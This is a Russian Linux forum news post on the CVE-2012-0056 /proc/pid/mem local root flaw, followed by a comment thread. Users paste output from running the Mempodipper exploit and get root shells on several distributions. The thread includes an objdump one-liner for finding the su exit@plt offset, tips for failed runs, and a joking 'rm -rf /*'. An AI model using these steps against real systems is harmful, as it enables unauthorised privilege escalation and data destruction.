LINUX.ORG.RU

В ядрах Linux >=2.6.39 найдена локальная root-уязвимость

 , , , ,


0

2

В ядре Linux найдена опасная уязвимость, позволяющая локальному злоумышленнику выполнить код с правами пользователя root. Проблема наблюдается начиная с ядра 2.6.39. На данный момент уже опубликовано три рабочих эксплоита. Уязвимости присвоен номер CVE-2012-0056.

Источником уязвимости является ошибка в реализации proc-интерфейса для прямого доступа к памяти процесса (/proc/pid/mem). В ядре 2.6.39 защита против неавторизованного доступа к этому файлу была признана неэффективной, поэтому «#ifdef» для защиты от записи в случайные области памяти был убран, вместо этого была добавлена проверка правильных разрешений на доступ. Как оказалась, проверка привилегий была выполнена некорректно, что позволяет локальному пользователю получить права суперпользователя в ядрах 2.6.39 и выше (исключая GIT snapshot, в котором данная уязвимость была на днях закрыта).

На данный момент ни один из дистрибутивов данную ошибку не закрыл.

Взято с opennet.ru

>>> Подробности

★★★★★

Проверено: anonymous_incognito ()
Последнее исправление: pekmop1024 (всего исправлений: 2)

а я до сих пор сижу на 2.3.37 и в ус не дую.

mono ★★★★★
()
Ответ на: комментарий от true_admin

true_admin

может у тебя su собран не так как нужно (http://blog.zx2c4.com/) :)

Собрал без pam, отключил randomize_va_space, собрал без PIE и без SSP, запустил с новым полученным адресом, результат прежний.

backbone ★★★★★
()
Ответ на: комментарий от xtraeft

хм.. самое интересное что оно кажет vulnerable на системе с установленным патчем ядра :)

Видимо в методике оценки уязвимости что-то не так...
Да и чесслово не пойму, почему на /proc/self должно быть как-то по-другому.

PS Эксплойт естесственно не срабатывает (даже при любезно предоставленном оффсете su).

Jam_666
()

Хм, в арч обновления ведра пришло, видать пофиксили ;/

vova7890 ★★★
()

Ubuntu 11.10. Работает.

.............
[+] Calculating su padding. 
[+] Seeking to offset 0x4021cc. 
[+] Executing su with shellcode. 
# 
# id 
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),115(lpadmin),117(admin),122(sambashare)
# rm -rf /*

:)))

Buy ★★★★★
()

А в Gentoo действительно нет (3.1.6, пересобирал):

...........

[-] Could not resolve /bin/su. Specify the exit@plt function address manually.
[-] Usage: ./a.out -o ADDRESS
[-] Example: ./a.out -o 0x402178

:)))

Buy ★★★★★
()
Ответ на: комментарий от Buy

А не, поспешил, дали же хелп, в Gentoo тоже сработало:

[-] Usage: ./a.out -o ADDRESS
[-] Example: ./a.out -o 0x402178

$ ./a.out -o 0x402178
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/1542/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Calculating su padding.
[+] Seeking to offset 0x40216c.
[+] Executing su with shellcode.
sh-4.1# id
uid=0(root) gid=0(root) groups=0(root),6(disk),10(wheel),18(audio),27(video),85(usb),100(users),1000(land)
sh-4.1#
Buy ★★★★★
()
[ blackst0ne at blackberry: /tmp ]% ./a.out 
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Opening socketpair.
[+] Executing child from child fork.
[+] Waiting for transferred fd in parent.
[+] Opening parent mem /proc/15010/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[-] Could not resolve /bin/su. Specify the exit@plt function address manually.
[-] Usage: ./a.out -o ADDRESS
[-] Example: ./a.out -o 0x402178

[ blackst0ne at blackberry: /tmp ]% whoami
blackst0ne

[ blackst0ne at blackberry: /tmp ]% sudo objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'
0x402408

[ blackst0ne at blackberry: /tmp ]% ./a.out -o 0x402408                                                                           
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Opening socketpair.
[+] Executing child from child fork.
[+] Opening parent mem /proc/15091/mem in child.
[+] Sending fd 5 to parent.
[+] Waiting for transferred fd in parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Calculating su padding.
[+] Seeking to offset 0x4023fc.
[+] Executing su with shellcode.
sh-4.2# whoami
root

sh-4.2# uname -a
Linux blackberry 3.0.3-pf #3 PREEMPT Fri Dec 23 12:44:30 VLAT 2011 x86_64 Intel(R) Core(TM)2 Duo CPU E4600 @ 2.40GHz GenuineIntel GNU/Linux

blackst0ne ★★★★★
()
Ответ на: комментарий от iron

ЧЯДНТ?

Попробуй как советуют в выводе (у меня сработало, см. выше), хотя генту наверное месяц не обновлял.

[-] Usage: ./a.out -o ADDRESS
[-] Example: ./a.out -o 0x402178

Buy ★★★★★
()
Ответ на: комментарий от blackst0ne

О! Я нашел решение, переместил /bin/su в другое место, не работает теперь :))))) если что, есть sudo.

Buy ★★★★★
()
Ответ на: комментарий от Buy

Но опять же, этот эксплойт ведь можно заточить и под другую SUID-прогу :(((

Buy ★★★★★
()
Ответ на: комментарий от anonymous

Who cares about local users anyway?

локальная дырка + торчащий наружу дырявый похапе-сайт и всё, труба. Да и мало ли хостинговых тачек что дают шелл.

Я, кстати, лет 7 назад «ломанул» хостера, три месяца халявных услуг тогда дали.

true_admin ★★★★★
()
Ответ на: комментарий от true_admin

в смысле я им сообщил и мне хостинг продлили, а не на нары на три месяца отдыхать отправили :)

true_admin ★★★★★
()

чтож вы раньше молчали

anonymous
()
Ответ на: комментарий от backbone

аналогично и у меня на арче с ядром 3.2.0-2, пробовал задовать смещение вручную, все равно эксплоит не работает

Pentium02 ★★
()
Ответ на: комментарий от suicider

но пока ни одного LTS с ним

так разве это влияет на кол-во дыр которые найдут? :).

true_admin ★★★★★
()

Всё равно не пашет.

Не работает.

Я правильно понимаю, что без судо не будет работать?

Сделал от рута objdump, подсунул значение эксплоиту - замирает на

[+] Calculating su padding.

посмотрел strace -


clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f6a788d59d0) = 4055
close(7) = 0
fcntl(4, F_SETFD, 0) = 0
fstat(4, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f6a788f5000
read(4, «Password: », 4096) = 10
read(4,


На этом замирает. Как получить рута? (

GreyDoom ★★★★
()
Ответ на: комментарий от true_admin

у тебя жабер всё ещё на j.no? Если нет, скажи или постучись, плз.

GreyDoom ★★★★
()

Автообновление

Само по себе автообновление - вещь спорная (и в линуксах, и в винде - не в ОС дело), я всегда оставляю уведомления+загружаю сам, когда могу. Почему? Очень просто: ноутбук может оказаться вне дома, подключен к мобильному интернету-3G, после чего очень быстро обновится, либо «съев» все безлимитные скоростные мегабайты, либо вообще спишет со счёта руб/Мб. Домашний компьютер - реже, но сбои у оператора тоже бывают. Вывод - обновляться надо, но самостоятельно, а на автомат можно ставить уведомление о наличии обновлений.

FoodChemist
()
Ответ на: комментарий от GreyDoom


Пытался достучаться до тебя через жабу, что-то безуспешно



Я думал это бот. На вопрос «who are you?» получил игнор. =)

blackst0ne ★★★★★
()
Ответ на: комментарий от Reset

root

в линухах разделение на рут/не-рут

а где не так?

mumpster ★★★★★
()
Ответ на: комментарий от Reset

WSUS

«сюрпризов» с автообновлениями в винде не огребал

ололо. свежо предание да верится с трудом

mumpster ★★★★★
()
Ответ на: комментарий от Reset

WSUS

В винде они применяются сами рано или поздно

у хомячков? бггг

mumpster ★★★★★
()
Ответ на: комментарий от Reset

галактего в опасности

не знаком с теми, кто использует пиратский windows

ахтунг! ризет живёт в параллельной анти-вселенной! он - пришелец!
галактего в опасности!
кстати, я ещё кучу народа знаю с вполне себе лиц.вендой где автообновление отклчюено по более прозаическим причинам - ну там, канал в инет узкий или вообще нет ;), проги слетают и т.п.

mumpster ★★★★★
()
Ответ на: комментарий от ZenitharChampion

Тем кто кричит «ставьте апдейты» - вот у меня роутеру больше пяти лет и без апдейтов. На линуксе. И ничего с ним не случилось.
Откуда вы знаете, что не случилось? Поищите новости о ботнетах из роутеров.

RussianNeuroMancer ★★★★★
()
Ответ на: комментарий от bornbewild

пирожок

молодец, возьми с полки пирожок!

mumpster ★★★★★
()
Ответ на: комментарий от tailgunner

Решето

Решето...извлекать уроки

ещё один прибежал ворчун.
не нравицца - так либо см берись и исправляй либо вон на шиндовз ползи

mumpster ★★★★★
()

Отлично. Будет чем рутануть ведроидофоны.

Quasar ★★★★★
()
Ответ на: комментарий от Reset

По крайней мере я «сюрпризов» с автообновлениями в винде не огребал

Потому что не пользуешься?

Satou ★★★★
()
Ответ на: комментарий от xtraeft

Согласен, я оказался идиотом. Но ИМХО комментарий про матчасть был информативен как сообщение винды об ошибке

router ★★★★★
()

ЧЯДНТ?

assa@book:~/python-passfd/src$ cat /etc/slackware-version
Slackware 13.37.0
assa@book:~/python-passfd/src$ uname -a
Linux book 3.1.10 #1 SMP Sat Jan 21 16:45:06 MSK 2012 i686 Intel(R) Core(TM)2 Duo CPU T7700 @ 2.40GHz GenuineIntel GNU/Linux
assa@book:~/python-passfd/src$ python ./hur.py
assa@book:~/python-passfd/src$ whoami
assa
assa@book:~/python-passfd/src$

wheel
()
Ответ на: комментарий от xtraeft

SUID

не только читается, но даже пишется

USER 28531 0.0 0.0 6768 4072 pts/5 Ss 12:42 0:00 bash
root 28805 0.0 0.0 4580 1316 pts/5 S+ 12:59 0:00 su -
ls -l /proc/28805/mem
-rw------- 1 root root 0 Янв 24 12:59 /proc/28805/mem
ls -l /proc/28531/mem
-rw------- 1 USER GROUP 0 Янв 24 13:02 /proc/28531/mem
дерзай!

mumpster ★★★★★
()
Ответ на: комментарий от anonymous

менталитет

а не рабски - это как? п.шубку одеть и на Болотную?;-)

mumpster ★★★★★
()
Ответ на: комментарий от wheel

ЧЯДНТ?

assa@book:~$ ./mema
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================

[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/3518/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[-] Could not resolve /bin/su. Specify the exit@plt function address manually.
[-] Usage: ./mema -o ADDRESS
[-] Example: ./mema -o 0x402178
assa@book:~$ ls /bin/su
/bin/su*
assa@book:~$
assa@book:~$ whoami
assa
assa@book:~$

wheel
()

поговаривают, в opensuse нужно сменить su на eject (например), чтоб заработало, но у меня вывалилось в сегфолт

kott ★★★★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.